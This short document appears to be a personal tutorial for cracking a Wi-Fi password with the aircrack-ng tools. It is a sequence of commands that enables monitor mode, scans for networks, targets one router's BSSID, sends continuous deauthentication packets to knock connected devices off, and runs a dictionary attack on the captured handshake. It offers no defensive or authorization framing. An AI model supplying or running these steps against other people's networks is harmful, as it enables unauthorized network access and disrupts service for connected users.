1. Check whether the network card is recognized
ifconfig
2. Open the network card to listen
sudo airmon-ng start wlan0
3. Check whether listening succeeded
ifconfig
4. Scan nearby wifi
sudo airodump-ng wlan0mon
5. View devices connected to Wi-Fi
sudo airodump-ng --bssid 50:50:CE:10:20:99 -c [channel] -w /home wlan0mon
6. Catch package
aireplay-ng -0 0 -a [Router MAC Address] -c [Connected Device Name] wlan0mon
7. Crack Wi-Fi password
aircrack-ng -w [password dictionary path] [catch package path]